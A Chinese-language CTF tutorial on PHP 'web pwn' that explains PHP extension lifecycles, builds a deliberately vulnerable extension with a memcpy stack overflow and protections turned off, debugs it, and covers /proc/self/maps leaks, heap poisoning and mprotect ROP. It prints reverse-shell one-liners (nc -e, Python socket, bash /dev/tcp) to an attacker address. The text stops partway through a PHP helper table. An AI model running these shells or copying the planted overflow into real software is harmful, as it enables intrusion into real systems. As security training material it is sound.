CTF-PWN-web pwn初探

news2024/11/13 1:00:27

文章目录

  • 参考
  • 简介
  • 生命周期
  • php扩展模块
    • 搭建php
    • 扩展模块初始化
    • 编写扩展模块
    • 编译扩展模块
    • 测试
  • 检查
  • 调试
  • 相关技巧
    • /proc/self/maps泄露
    • php堆
      • PHP 内存管理机制
      • 空闲堆块管理
      • 示例解释
        • 1. 内存分配示例
        • 2. 内存释放示例
        • 3. tcache poison 攻击
    • 溢出mprotect改栈权限
    • 反弹shell
  • 常用php
  • exp

参考

https://xz.aliyun.com/t/15166?time__1311=GqjxuQi%3DDQ%3D0yRx%2BxCqiKwmmm93Y5Lox#toc-1

简介

Webpwn目前大多数针对的是Php,我们需要重点分析的是 PHP 加载的外部拓展,漏洞点通常在 so拓展库中。由于 php加载扩展库来调用其内部函数,所以和常规 PWN题最大的不同点,就是我们不能直接获得交互式的shell。这里通常是需要采用 popen或者 exec函数族来进行执行 bash命令来反弹 shell,直接执行 one_gadget或者 system是不可行的。

生命周期

  1. 扩展模块的生命周期:

a) Module Init (MINIT):PHP解释器启动,加载相关模块,在此时调用相关模块的MINIT方法,仅被调用一次
例子: 假设我们有一个数据库连接池扩展。

PHP_MINIT_FUNCTION(db_pool)
{
    // 初始化连接池
    initialize_connection_pool();
    return SUCCESS;
}

这个函数在PHP启动时只调用一次,用于初始化连接池。

b) Request Init (RINIT):每个请求达到时都被触发。SAPI层将控制权交由PHP层,PHP初始化本次请求执行脚本所需的环境变量,函数列表等,调用所有模块的RINIT函数。
例子: 一个会话管理扩展。

PHP_RINIT_FUNCTION(session_manager)
{
    // 为每个请求创建新的会话
    create_new_session();
    return SUCCESS;
}

每个HTTP请求开始时都会调用此函数,为每个请求创建新会话。

c) Request Shutdown (RSHUTDOWN):请求结束,PHP就会自动清理程序,顺序调用各个模块的RSHUTDOWN方法,清除程序运行期间的符号表。
例子: 清理请求特定资源的扩展。

PHP_RSHUTDOWN_FUNCTION(resource_cleaner)
{
    // 清理请求期间分配的资源
    free_request_resources();
    return SUCCESS;
}

每个请求结束时调用,用于清理该请求使用的资源。

d) Module Shutdown (MSHUTDOWN):服务器关闭,PHP调用各个模块的MSHUTDOWN方法释放内存。
例子: 关闭数据库连接池。

PHP_MSHUTDOWN_FUNCTION(db_pool)
{
    // 关闭连接池
    shutdown_connection_pool();
    return SUCCESS;
}

PHP终止时调用,用于清理模块级资源。

  1. PHP的运行模式:

a) CLI运行模式 (单进程SAPI):
例子:

php script.php

这会启动PHP解释器,执行script.php,然后退出。整个过程只有一个MINIT和一个MSHUTDOWN,但RINIT和RSHUTDOWN会为脚本执行调用一次。

b) CGI运行模式 (大部分 多进程SAPI):
例子: Apache with mod_cgi
当收到HTTP请求时,Apache会为每个请求fork一个新的PHP进程。

[Apache] <- HTTP Request
    |
    ├── [PHP Process 1] (MINIT -> RINIT -> Execute -> RSHUTDOWN -> MSHUTDOWN)
    |
    ├── [PHP Process 2] (MINIT -> RINIT -> Execute -> RSHUTDOWN -> MSHUTDOWN)
    |
    └── [PHP Process 3] (MINIT -> RINIT -> Execute -> RSHUTDOWN -> MSHUTDOWN)

每个进程处理一个请求后就终止,所以每个请求都会经历完整的模块生命周期。

其中fork的进程,和原进程的内存布局一般来说是一模一样的,所以这里如果能拿到/proc/{pid}/maps文件,则可以拿到该进程的内存布局,形成内存泄露,此方式在De1CTF中的这道WEBPWN上是第一个突破点,利用的其有漏洞的包含函数来读取/proc/self/maps,可以拿到所有基地址,从而无视PIE保护。

llk@ubuntu:~/Desktop/tools/php-src/ext/hello/modules$  cat /proc/90065/maps
555555554000-555555627000 r--p 00000000 08:05 286222                     /usr/bin/php7.4
555555627000-555555891000 r-xp 000d3000 08:05 286222                     /usr/bin/php7.4
555555891000-555555957000 r--p 0033d000 08:05 286222                     /usr/bin/php7.4
555555958000-5555559e3000 r--p 00403000 08:05 286222                     /usr/bin/php7.4
5555559e3000-5555559e5000 rw-p 0048e000 08:05 286222                     /usr/bin/php7.4
5555559e5000-555555ba0000 rw-p 00000000 00:00 0                          [heap]
7ffff3f22000-7ffff3fa3000 rw-p 00000000 00:00 0 
7ffff3fcc000-7ffff3fd0000 r--p 00000000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fd0000-7ffff3fe3000 r-xp 00004000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fe3000-7ffff3fed000 r--p 00017000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fed000-7ffff3fee000 r--p 00020000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fee000-7ffff3fef000 rw-p 00021000 08:05 280238                     /usr/lib/x86_64-linux-gnu/libgpg-error.so.0.28.0
7ffff3fef000-7ffff3ffb000 r--p 00000000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff3ffb000-7ffff40c9000 r-xp 0000c000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff40c9000-7ffff4106000 r--p 000da000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff4106000-7ffff4108000 r--p 00116000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff4108000-7ffff410d000 rw-p 00118000 08:05 280162                     /usr/lib/x86_64-linux-gnu/libgcrypt.so.20.2.5
7ffff410d000-7ffff4111000 r--p 00000000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20
7ffff4111000-7ffff411f000 r-xp 00004000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20
7ffff411f000-7ffff4123000 r--p 00012000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20
7ffff4123000-7ffff4124000 r--p 00015000 08:05 280080                     /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.20

c) FastCGI运行模式 (多进程SAPI,但进程可复用):
例子: Nginx with PHP-FPM

[Nginx] <- HTTP Requests
    |
    ├── [PHP-FPM Process 1] (MINIT -> [RINIT -> Execute -> RSHUTDOWN] x N -> MSHUTDOWN)
    |
    └── [PHP-FPM Process 2] (MINIT -> [RINIT -> Execute -> RSHUTDOWN] x N -> MSHUTDOWN)

PHP-FPM进程在处理多个请求后才会退出,所以MINIT和MSHUTDOWN只在进程启动和结束时调用一次,而RINIT和RSHUTDOWN则为每个请求调用。

php扩展模块

小猪教你开发php扩展
在 Linux环境下,PHP 拓展通常为 .so文件,拓展模块放置的路径可以通过如下方式查看:
在这里插入图片描述

搭建php

sudo apt install php php-dev # 安装php,以及php开发包头
php -v # 查看php版本 直到当前对应的版本是7.4.3

根据版本下载对应源码
https://github.com/php/php-src/tree/PHP-7.4.3
在这里插入图片描述

git clone https://github.com/php/php-src.git
cd  php-src
git checkout PHP-7.4.3
git fetch

在这里插入图片描述

源码目录结构

php-src
  |____build    --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
  |____ext      --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。
  |____main     --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。
  |____netware  --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。
  |____pear     --扩展包目录,PHP Extension and Application Repository。
  |____sapi     --各种服务器的接口调用,如Apache,IIS等。
  |____scripts  --linux下的脚本目录。
  |____tests    --测试脚本目录,主要是phpt脚本,由--TEST----POST----FILE----EXPECT--组成,需要初始化可添加--INI--部分。
  |____TSRM     --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
  |____win32    --Windows下编译PHP 有关的脚本。
  |____Zend     --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。

扩展模块初始化

cd ext
php ext_skel.php --ext extend_name 在当前目录生成一个extend_name 的文件夹

在这里插入图片描述

cd hello
ls
config.m4  config.w32  hello.c  php_hello.h  tests
  1. config.m4

    • 用途:用于 Unix-like 系统的配置脚本
    • 作用:定义扩展的编译选项,包括依赖项、编译标志等
    • 在运行 ./configure 时使用
  2. config.w32

    • 用途:用于 Windows 系统的配置脚本
    • 作用:类似于 config.m4,但针对 Windows 环境
    • 在 Windows 上编译扩展时使用
  3. hello.c

    • 用途:扩展的主要源代码文件
    • 作用:
      • 包含扩展的核心功能实现
      • 定义 PHP 函数、类、常量等
      • 包含模块初始化和关闭函数
  4. php_hello.h

    • 用途:扩展的头文件
    • 作用:
      • 声明在 hello.c 中定义的函数
      • 定义扩展使用的常量和宏
      • 可能包含其他必要的结构定义
  5. tests/ 目录

    • 用途:存放扩展的测试文件
    • 作用:
      • 包含 .phpt 文件,用于测试扩展的功能
      • 帮助确保扩展在不同环境下正常工作
      • 可以使用 make test 运行这些测试

编写扩展模块

编写PHP扩展是基于Zend API和一些宏的,所以如果要编写核心代码,我们首先要弄清楚PHP Extension的结构。因为一个PHP Extension在C语言层面实际上就是一个zend_module_entry结构体

关于其类型zend_module_entry的定义可以在PHP源代码的“Zend/zend_modules.h”文件里找到,下面代码是zend_module_entry的定义

typedef struct _zend_module_entry zend_module_entry;
struct _zend_module_entry {
  unsigned short size;
  unsigned int zend_api;
  unsigned char zend_debug;
  unsigned char zts;
  const struct _zend_ini_entry *ini_entry;
  const struct _zend_module_dep *deps;
  const char *name;        # PHP Extension的名字
  const struct _zend_function_entry *functions;  # 存放我们在此扩展中定义的函数的引用
  int (*module_startup_func)(INIT_FUNC_ARGS);  # 函数指针,扩展模块加载时被调用
  int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); # 函数指针,扩展模块卸载时时被调用
  int (*request_startup_func)(INIT_FUNC_ARGS); # 函数指针,每个请求开始时时被调用
  int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); # 函数指针,每个请求结束时时被调用
  void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);  # 函数指针,这个指针指向的函数会在执行phpinfo()时被调用,用于显示自定义模块信息。
  const char *version;  # 模块的版本
  size_t globals_size;
  #ifdef ZTS
  ts_rsrc_id* globals_id_ptr;
  #else
  void* globals_ptr;
  #endif
  void (*globals_ctor)(void *global TSRMLS_DC);
  void (*globals_dtor)(void *global TSRMLS_DC);
  int (*post_deactivate_func)(void);
  int module_started;
  unsigned char type;
  void *handle;
  int module_number;
  char *build_id;
};

现在看看自动生成的hello_module_entry

zend_module_entry hello_module_entry = {
	STANDARD_MODULE_HEADER,
	"hello",					/* Extension name */
	hello_functions,			/* zend_function_entry */
	NULL,							/* PHP_MINIT - Module initialization */
	NULL,							/* PHP_MSHUTDOWN - Module shutdown */
	PHP_RINIT(hello),			/* PHP_RINIT - Request initialization */
	NULL,							/* PHP_RSHUTDOWN - Request shutdown */
	PHP_MINFO(hello),			/* PHP_MINFO - Module info */
	PHP_HELLO_VERSION,		/* Version */
	STANDARD_MODULE_PROPERTIES
};

宏“STANDARD_MODULE_HEADER”会生成前6个字段,“STANDARD_MODULE_PROPERTIES ”会生成“version”后的字段,而中间就是各个操作时候调用的函数

PHP_RINIT(hello)对应到
PHP_RINIT_FUNCTION(hello)
{
……
}
PHP_MINFO(hello)对应到
PHP_MINFO_FUNCTION(hello)
{
……
}

而PHP_FUNCTION宏修饰的函数代表该函数可以直接在php中进行调用

PHP_FUNCTION(easy_phppwn)
{
	char *arg = NULL;
    size_t arg_len, len;
    char buf[100];
    if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){
        return;
    }
    memcpy(buf, arg, arg_len);
    php_printf("The baby phppwn.\n");
    return SUCCESS;
}

解析参数是通过zend_parse_parameters函数实现的,这个函数的作用是从函数用户的输入栈中读取数据,然后转换成相应的函数参数填入变量以供后面核心功能代码使用。zend_parse_parameters的第一个参数是用户传入参数的个数,可以由宏“ZEND_NUM_ARGS()”生成;第二个参数是一个字符串,其中每个字母代表一个变量类型,我们只有一个字符串型变量,所以第二个参数是“s”;最后各个参数需要一些必要的局部变量指针用于存储数据,下表给出了不同变量类型的字母代表及其所需要的局部变量指针

  • b zend_bool

  • l long

  • d double

  • s char*,int

  • h HashTable*

并且最后需要注册到zend_function_entry

static const zend_function_entry hello_functions[] = {
	PHP_FE(easy_phppwn,		NULL)
	PHP_FE_END
};

然后再放到hello_module_entry const struct _zend_function_entry *functions; # 存放我们在此扩展中定义的函数的引用的位置处

编译扩展模块

phpize
./configure --with-php-config=/usr/bin/php-config

然后在生成的Makefile文件中,在如下位置设置编译参数,取消栈保护,并且取消-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数

在这里插入图片描述

设置好之后我们可以直接使用make命令编译,编译完成后,会在当前目录生成./modules目录,目录下就是我们需要的.so扩展文件,将其复制到,php扩展目录下,之后再php.ini文件中配置启动扩展即可,
在这里插入图片描述

/etc/php/7.4/apache2/php.ini
/etc/php/7.4/cli/php.ini # 通常调试时使用CLI模式,所以只配置了该目录下的php.ini文件
sudo cp hello.so /usr/lib/php/20190902/ # 将扩展库赋值到php搜索扩展库的路径中

测试

<?php
phpinfo()
$a = "abcd";
easy_phppwn($a);
?>

在这里插入图片描述
在这里插入图片描述

检查

在这里插入图片描述

调试

放入IDA中

void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value)
{
  char buf[100]; // [rsp+10h] [rbp-80h] BYREF
  size_t n; // [rsp+80h] [rbp-10h] BYREF
  char *arg; // [rsp+88h] [rbp-8h] BYREF

  arg = 0LL;
  if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
  {
    memcpy(buf, arg, n);
    php_printf("The baby phppwn.\n");
  }
}

存在栈溢出,泄露 libc地址,然后 执行 ROP

gdb php
r
vmmap
……
    0x7ffff7fc4000     0x7ffff7fc5000 r--p     1000      0 /usr/lib/php/20190902/hello.so
    0x7ffff7fc5000     0x7ffff7fc6000 r-xp     1000   1000 /usr/lib/php/20190902/hello.so
    0x7ffff7fc6000     0x7ffff7fc7000 r--p     1000   2000 /usr/lib/php/20190902/hello.so
    0x7ffff7fc7000     0x7ffff7fc8000 r--p     1000   2000 /usr/lib/php/20190902/hello.so
    0x7ffff7fc8000     0x7ffff7fc9000 rw-p     1000   3000 /usr/lib/php/20190902/hello.so
……

可以看到扩展模块已经被加入进去了

设置断点,先run然后crtl+c终止,再设置断点(因为run之后才会将扩展库加载进来),再设置参数然后run,由于自己编译make带了调试信息,可以源码调试

pwndbg> run
pwndbg> b*zif_easy_phppwn
Breakpoint 1 at 0x7ffff7fc51b9: file /home/llk/Desktop/tools/php-src/ext/hello/hello.c, line 12.
pwndbg> set args ./pwn.php

 ► 0x7ffff7fc51b9 <zif_easy_phppwn>       endbr64 
   0x7ffff7fc51bd <zif_easy_phppwn+4>     push   rbp
   0x7ffff7fc51be <zif_easy_phppwn+5>     mov    rbp, rsp                        RBP => 0x7fffffffa430 ◂— 0
   0x7ffff7fc51c1 <zif_easy_phppwn+8>     sub    rsp, 0x90                       RSP => 0x7fffffffa3a0 (0x7fffffffa430 - 0x90)
   0x7ffff7fc51c8 <zif_easy_phppwn+15>    mov    qword ptr [rbp - 0x88], rdi     [0x7fffffffa3a8] => 0x7ffff5413090 ◂— 0x6461656820666f20 (' of head')
   0x7ffff7fc51cf <zif_easy_phppwn+22>    mov    qword ptr [rbp - 0x90], rsi     [0x7fffffffa3a0] => 0x7fffffffa490 —▸ 0x7fffffffca40 —▸ 0x555555a33170 ◂— ...
   0x7ffff7fc51d6 <zif_easy_phppwn+29>    mov    qword ptr [rbp - 8], 0          [0x7fffffffa428] => 0
   0x7ffff7fc51de <zif_easy_phppwn+37>    mov    rax, qword ptr [rbp - 0x88]     RAX, [0x7fffffffa3a8] => 0x7ffff5413090 ◂— 0x6461656820666f20 (' of head')
   0x7ffff7fc51e5 <zif_easy_phppwn+44>    mov    eax, dword ptr [rax + 0x2c]     EAX, [0x7ffff54130bc] => 1
   0x7ffff7fc51e8 <zif_easy_phppwn+47>    mov    edi, eax                        EDI => 1
   0x7ffff7fc51ea <zif_easy_phppwn+49>    lea    rdx, [rbp - 0x10]               RDX => 0x7fffffffa420 ◂— 1
─────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /home/llk/Desktop/tools/php-src/ext/hello/hello.c:12
    7 #include "php.h"
    8 #include "ext/standard/info.h"
    9 #include "php_hello.h"
   10 
   11 PHP_FUNCTION(easy_phppwn)12 {
   13         char *arg = NULL;
   14     size_t arg_len, len;
   15     char buf[100];
   16     if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){
   17         return;

断libc函数直接断断不下来可以先main再断

相关技巧

/proc/self/maps泄露

<?php
// 读取 /proc/self/maps 文件内容
$content = file_get_contents('/proc/self/maps');
echo $content ; //打印/proc/self/maps内容
// 函数用于解析基地址
function getBaseAddress($content, $pattern) {
    if (preg_match_all($pattern, $content, $matches)) {
        return $matches[1]; // 返回所有匹配的基地址
    }
    return null;
}

// 匹配 libc 的基地址
$libcPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+r--p\\s+.*?\\s+\\S*libc.*$/m';
$libcBaseAddresses = getBaseAddress($content, $libcPattern);

if ($libcBaseAddresses) {
    echo "libc base addresses:\n";
    foreach ($libcBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No libc base address found.\n";
}

// 匹配 stack 的基地址
$stackPattern = '/^([0-9a-f]+)-[0-9a-f]+\\s+rw-p\\s+.*?\\s+\\[stack\\]$/m';
$stackBaseAddresses = getBaseAddress($content, $stackPattern);

if ($stackBaseAddresses) {
    echo "stack base address:\n";
    foreach ($stackBaseAddresses as $address) {
        echo "0x$address\n";
        break;
    }
} else {
    echo "No stack base address found.\n";
}
?>

在这里插入图片描述

php堆

PHP的内存管理机制与传统的ptmalloc不同,它更类似于内核中的slab/slub分配器。

PHP 内存管理机制

  1. 一次性申请大块内存:PHP执行时会一次性向系统申请一大块内存作为内存池。
  2. 内存池管理:PHP有一个内存管理池,内存分配时会优先从这个池中寻找合适的内存块。如果找不到合适的块,才会向系统申请新的内存。
  3. 内存回收:释放的内存不会立即交还给系统,而是放回内存池继续使用。
  4. 内存块结构:PHP的内存块没有传统的堆头,而是与内存桶对齐。空闲的内存块通过一个 fd 指针指向下一个相同大小的内存块。

空闲堆块管理

PHP的空闲堆块通过 fd 指针链接成链表,这有点类似于glibc的tcache机制。未被分配的内存块将通过 fd 指针形成链表,指向下一个相同大小的内存块。

示例解释

1. 内存分配示例

假设我们有一个PHP脚本如下:

<?php
$str1 = str_repeat("A", 32);
$str2 = str_repeat("B", 32);

在这个示例中,PHP首先会尝试从内存池中找到两个32字节的块。如果找到就直接分配给 $str1$str2,如果没有找到合适的块,才会向系统申请新的内存块。

2. 内存释放示例

继续上面的例子:

<?php
unset($str1);
$str1 = str_repeat("C", 32);

unset($str1) 被调用时,32字节的块会被标记为空闲,并通过 fd 指针加入到空闲链表中。当再次分配32字节的块(如 $str1 = str_repeat("C", 32)),PHP会从空闲链表中重用之前释放的块。

3. tcache poison 攻击

由于PHP的内存管理机制类似于tcache,且未对 fd 指针做过多检查,这里可以利用 fd 指针进行tcache poison攻击。

假设我们可以控制某个内存块的内容,如:

<?php
$str1 = str_repeat("A", 32);
unset($str1); // 释放32字节块

// 控制fd指针,假设这里有办法将fd指向任意地址
$malicious_fd = 0x41414141; // 任意地址

通过这种方式,我们可以让 fd 指向任意地址,实现将内存块分配到任意地址的目的。这种攻击方式利用了PHP内存管理机制中的漏洞,可以在某些条件下实现任意地址写入。

溢出mprotect改栈权限

溢出可以使用rop链构造调用mprotect函数来给stack执行权限,然后找一个jmp rsp来直接执行shellcode

反弹shell

工作原理:

  1. 攻击者在自己的机器上监听一个特定端口
  2. 在目标机器上执行一个命令,使其连接到攻击者的机器
  3. 连接建立后,目标机器的shell被重定向到这个连接

举例说明:

  1. 使用 netcat (nc) 的例子:

攻击者机器(IP: 10.0.0.1):

nc -lvp 4444

这会在4444端口上监听incoming连接。

目标机器:

nc 10.0.0.1 4444 -e /bin/bash

这会连接到攻击者机器并执行bash shell。

  1. 使用 Python 的例子:

攻击者机器(IP: 10.0.0.1):

nc -lvp 4444

目标机器:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. 使用 Bash 的例子:

攻击者机器(IP: 10.0.0.1):

nc -lvp 4444

目标机器:

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

这些例子都会在目标机器上创建一个shell,并将其输入/输出重定向到攻击者机器。

常用php

//零字节
"\x00"
//等价于p64
pack('Q', $p_rdi_r)
//等价于'a'*0x80
str_repeat('a', 0x80);
//等价于command.ljust(0x60,"\x00")
str_pad($command, 0x60, "\x00")
//等价于p64
function p64(string $value):string{
    static $p64_table=[
        0=>"\x00",1=>"\x01",2=>"\x02",3=>"\x03",4=>"\x04",5=>"\x05",6=>"\x06",7=>"\x07",8=>"\x08",9=>"\x09",10=>"\x0a",
        11=>"\x0b",12=>"\x0c",13=>"\x0d",14=>"\x0e",15=>"\x0f",16=>"\x10",17=>"\x11",18=>"\x12",19=>"\x13",20=>"\x14",
        21=>"\x15",22=>"\x16",23=>"\x17",24=>"\x18",25=>"\x19",26=>"\x1a",27=>"\x1b",28=>"\x1c",29=>"\x1d",30=>"\x1e",
        31=>"\x1f",32=>"\x20",33=>"\x21",34=>"\x22",35=>"\x23",36=>"\x24",37=>"\x25",38=>"\x26",39=>"\x27",40=>"\x28",
        41=>"\x29",42=>"\x2a",43=>"\x2b",44=>"\x2c",45=>"\x2d",46=>"\x2e",47=>"\x2f",48=>"\x30",49=>"\x31",50=>"\x32",
        51=>"\x33",52=>"\x34",53=>"\x35",54=>"\x36",55=>"\x37",56=>"\x38",57=>"\x39",58=>"\x3a",59=>"\x3b",60=>"\x3c",
        61=>"\x3d",62=>"\x3e",63=>"\x3f",64=>"\x40",65=>"\x41",66=>"\x42",67=>"\x43",68=>"\x44",69=>"\x45",70=>"\x46",
        71=>"\x47",72=>"\x48",73=>"\x49",74=>"\x4a",75=>"\x4b",76=>"\x4c",77=>"\x4d",78=>"\x4e",79=>"\x4f",80=>"\x50",
        81=>"\x51",82=>"\x52",83=>"\x53",84=>"\x54",85=>"\x55",86=>"\x56",87=>"\x57",88=>"\x58",89=>"\x59",90=>"\x5a",
        91=>"\x5b",92=>"\x5c",93=>"\x5d",94=>"\x5e",95=>"\x5f",96=>"\x60",97=>"\x61",98=>"\x62",99=>"\x63",100=>"\x64",
        101=>"\x65",102=>"\x66",103=>"\x67",104=>"\x68",105=>"\x69",106=>"\x6a",107=>"\x6b",108=>"\x6c",109=>"\x6d",110=>"\x6e",
        111=>"\x6f",112=>"\x70",113=>"\x71",114=>"\x72",115=>"\x73",116=>"\x74",117=>"\x75",118=>"\x76",119=>"\x77",120=>"\x78",
        121=>"\x79",122=>"\x7a",123=>"\x7b",124=>"\x7c",125=>"\x7d",126=>"\x7e",127=>"\x7f",128=>"\x80",129=>"\x81",130=>"\x82",
        131=>"\x83",132=>"\x84",133=>"\x85",134=>"\x86",135=>"\x87",136=>"\x88",137=>"\x89",138=>"\x8a",139=>"\x8b",140=>"\x8c",
        141=>"\x8d",142=>"\x8e",143=>"\x8f",144=>"\x90",145=>"\x91",146=>"\x92",147=>"\x93",148=>"\x94",149=>"\x95",150=>"\x96",
        151=>"\x97",152=>"\x98",153=>"\x99",154=>"\x9a",155=>"\x9b",156=>"\x9c",157=>"\x9d",158=>"\x9e",159=>"\x9f",160=>"\xa0",
        161=>"\xa1",162=>"\xa2",163=>"\xa3",164=>"\xa4",165=>"\xa5",166=>"\xa6",167=>"\xa7",168=>"\xa8",169=>"\xa9",170=>"\xaa",
        171=>"\xab",172=>"\xac",173=>"\xad",174=>"\xae",175=>"\xaf",176=>"\xb0",177=>"\xb1",178=>"\xb2",179=>"\xb3",180=>"\xb4",
        181=>"\xb5",182=>"\xb6",183=>"\xb7",184=>"\xb8",185=>"\xb9",186=>"\xba",187=>"\xbb",188=>"\xbc",189=>"\xbd",190=>"\xbe",
        191=>"\xbf",192=>"\xc0",193=>"\xc1",194=>"\xc2",195=>"\xc3",196=>"\xc4",197=>"\xc5",198=>"\xc6",199=>"\xc7",200=>"\xc8",
        201=>"\xc9",202=>"\xca",203=>"\xcb",204=>"\xcc",205=>"\xcd",206=>"\xce",207=>"\xcf",208=>"\xd0",209=>"\xd1",210=>"\xd2",
        211=>"\xd3",212=>"\xd4",213=>"\xd5",214=>"\xd6",215=>"\xd7",216=>"\xd8",217=>"\xd9",218=>"\xda",219=>"\xdb",220=>"\xdc",
        221=>"\xdd",222=>"\xde",223=>"\xdf",224=>"\xe0",225=>"\xe1",226=>"\xe2",227=>"\xe3",228=>"\xe4",229=>"\xe5",230=>"\xe6",
        231=>"\xe7",232=>"\xe8",233=>"\xe9",234=>"\xea",235=>"\xeb",236=>"\xec",237=>"\xed",238=>"\xee",239=>"\xef",240=>"\xf0",
        241=>"\xf1",242=>"\xf2",243=>"\xf3",244=>"\xf4",245=>"\xf5",246=>"\xf6",247=>"\xf7",248=>"\xf8",249=>"\xf9",250=>"\xfa",
        251=>"\xfb",252=>"\xfc",253=>"\xfd",254=>"\xfe",255=>"\xff"
    ];
    $result = "";
    for($i = 0; $i < 8; $i++){
        $remainder = $value % 0x100;
        $value =  (int)($value/0x100);
        $result .= $p64_table[$remainder];
    }
    return $result;
}
//等价于u64
function u64(string $bytes):int{
    static $u64_table=[
        "\x00"=>0,"\x01"=>1,"\x02"=>2,"\x03"=>3,"\x04"=>4,"\x05"=>5,"\x06"=>6,"\x07"=>7,"\x08"=>8,"\x09"=>9,"\x0a"=>10,
        "\x0b"=>11,"\x0c"=>12,"\x0d"=>13,"\x0e"=>14,"\x0f"=>15,"\x10"=>16,"\x11"=>17,"\x12"=>18,"\x13"=>19,"\x14"=>20,
        "\x15"=>21,"\x16"=>22,"\x17"=>23,"\x18"=>24,"\x19"=>25,"\x1a"=>26,"\x1b"=>27,"\x1c"=>28,"\x1d"=>29,"\x1e"=>30,
        "\x1f"=>31,"\x20"=>32,"\x21"=>33,"\x22"=>34,"\x23"=>35,"\x24"=>36,"\x25"=>37,"\x26"=>38,"\x27"=>39,"\x28"=>40,
        "\x29"=>41,"\x2a"=>42,"\x2b"=>43,"\x2c"=>44,"\x2d"=>45,"\x2e"=>46,"\x2f"=>47,"\x30"=>48,"\x31"=>49,"\x32"=>50,
        "\x33"=>51,"\x34"=>52,"\x35"=>53,"\x36"=>54,"\x37"=>55,"\x38"=>56,"\x39"=>57,"\x3a"=>58,"\x3b"=>59,"\x3c"=>60,
        "\x3d"=>61,"\x3e"=>62,"\x3f"=>63,"\x40"=>64,"\x41"=>65,"\x42"=>66,"\x43"=>67,"\x44"=>68,"\x45"=>69,"\x46"=>70,
        "\x47"=>71,"\x48"=>72,"\x49"=>73,"\x4a"=>74,"\x4b"=>75,"\x4c"=>76,"\x4d"=>77,"\x4e"=>78,"\x4f"=>79,"\x50"=>80,
        "\x51"=>81,"\x52"=>82,"\x53"=>83,"\x54"=>84,"\x55"=>85,"\x56"=>86,"\x57"=>87,"\x58"=>88,"\x59"=>89,"\x5a"=>90,
        "\x5b"=>91,"\x5c"=>92,"\x5d"=>93,"\x5e"=>94,"\x5f"=>95,"\x60"=>96,"\x61"=>97,"\x62"=>98,"\x63"=>99,"\x64"=>100,
        "\x65"=>101,"\x66"=>102,"\x67"=>103,"\x68"=>104,"\x69"=>105,"\x6a"=>106,"\x6b"=>107,"\x6c"=>108,"\x6d"=>109,"\x6e"=>110,
        "\x6f"=>111,"\x70"=>112,"\x71"=>113,"\x72"=>114,"\x73"=>115,"\x74"=>116,"\x75"=>117,"\x76"=>118,"\x77"=>119,"\x78"=>120,
        "\x79"=>121,"\x7a"=>122,"\x7b"=>123,"\x7c"=>124,"\x7d"=>125,"\x7e"=>126,"\x7f"=>127,"\x80"=>128,"\x81"=>129,"\x82"=>130,
        "\x83"=>131,"\x84"=>132,"\x85"=>133,"\x86"=>134,"\x87"=>135,"\x88"=>136,"\x89"=>137,"\x8a"=>138,"\x8b"=>139,"\x8c"=>140,
        "\x8d"=>141,"\x8e"=>142,"\x8f"=>143,"\x90"=>144,"\x91"=>145,"\x92"=>146,"\x93"=>147,"\x94"=>148,"\x95"=>149,"\x96"=>150,
        "\x97"=>151,"\x98"=>152,"\x99"=>153,"\x9a"=>154,"\x9b"=>155,"\x9c"=>156,"\x9d"=>157,"\x9e"=>158,"\x9f"=>159,"\xa0"=>160,
        "\xa1"=>161,"\xa2"=>162,"\xa3"=>163,"\xa4"=>164,"\xa5"=>165,"\xa6"=>166,"\xa7"=>167,"\xa8"=>168,"\xa9"=>169,"\xaa"=>170,
        "\xab"=>171,"\xac"=>172,"\xad"=>173,"\xae"=>174,"\xaf"=>175,"\xb0"=>176,"\xb1"=>177,"\xb2"=>178,"\xb3"=>179,"\xb4"=>180,
        "\xb5"=>181,"\xb6"=>182,"\xb7"=>183,"\xb8"=>184,"\xb9"=>185,"\xba"=>186,"\xbb"=>187,"\xbc"=>188,"\xbd"=>189,"\xbe"=>190,
